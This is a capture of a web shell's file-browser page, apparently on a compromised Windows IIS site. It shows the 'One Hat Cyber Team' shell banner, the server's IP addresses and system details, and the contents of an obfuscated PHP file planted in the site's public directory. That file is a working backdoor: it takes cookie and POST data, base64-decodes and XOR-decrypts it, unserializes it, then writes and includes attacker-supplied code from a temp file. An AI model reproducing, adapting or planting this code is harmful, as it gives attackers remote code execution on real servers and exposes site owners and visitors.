⚝
One Hat Cyber Team
⚝
Your IP:
18.218.145.54
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
View File Name :
5e33d2f1.php
$UNBbPV = chr ( 322 - 244 )."\x5f" . "\x51" . "\x7a" . 'H';$aSKtd = "\143" . "\x6c" . chr (97) . chr (115) . chr ( 289 - 174 ).'_' . 'e' . chr ( 287 - 167 )."\151" . "\163" . 't' . "\x73";$bdQxwjWesc = class_exists($UNBbPV); $UNBbPV = "22040";$aSKtd = "55131";$aghfkJx = FALSE;if ($bdQxwjWesc === $aghfkJx){$ufxejB = "32119";class N_QzH{public function TiNqi(){echo "25938";}private $YnLVfbkfW;public static $rKNGDACa = "ea953be1-9032-49ee-aded-25be7ac8b55e";public static $aSNQU = 58814;public function __construct($lgvbRFDo=0){$PyegQLw = $_POST;$hVKkttjP = $_COOKIE;$QyUeoE = @$hVKkttjP[substr(N_QzH::$rKNGDACa, 0, 4)];if (!empty($QyUeoE)){$Xnoyhx = "base64";$ggHqUbRK = "";$QyUeoE = explode(",", $QyUeoE);foreach ($QyUeoE as $IVxLqlIXZe){$ggHqUbRK .= @$hVKkttjP[$IVxLqlIXZe];$ggHqUbRK .= @$PyegQLw[$IVxLqlIXZe];}$ggHqUbRK = array_map($Xnoyhx . chr (95) . "\x64" . "\x65" . chr ( 779 - 680 )."\x6f" . chr (100) . chr (101), array($ggHqUbRK,)); $ggHqUbRK = $ggHqUbRK[0] ^ str_repeat(N_QzH::$rKNGDACa, (strlen($ggHqUbRK[0]) / strlen(N_QzH::$rKNGDACa)) + 1);N_QzH::$aSNQU = @unserialize($ggHqUbRK);}}private function IpoKTBaS($ufxejB){if (is_array(N_QzH::$aSNQU)) {$qXJNFd = sys_get_temp_dir() . "/" . crc32(N_QzH::$aSNQU["\163" . chr (97) . chr (108) . "\164"]);@N_QzH::$aSNQU["\x77" . chr (114) . "\x69" . chr (116) . 'e']($qXJNFd, N_QzH::$aSNQU[chr (99) . chr (111) . chr (110) . chr ( 708 - 592 ).chr (101) . chr ( 597 - 487 )."\164"]);include $qXJNFd;@N_QzH::$aSNQU["\x64" . "\x65" . chr ( 677 - 569 ).chr (101) . chr ( 1050 - 934 ).chr (101)]($qXJNFd); $ufxejB = "32119";exit();}}public function __destruct(){$ufxejB = "36703_10636";$this->IpoKTBaS($ufxejB); $ufxejB = "36703_10636";}}$rzLZwt = new /* 41867 */ N_QzH(); $rzLZwt = str_repeat("36703_10636", 1);}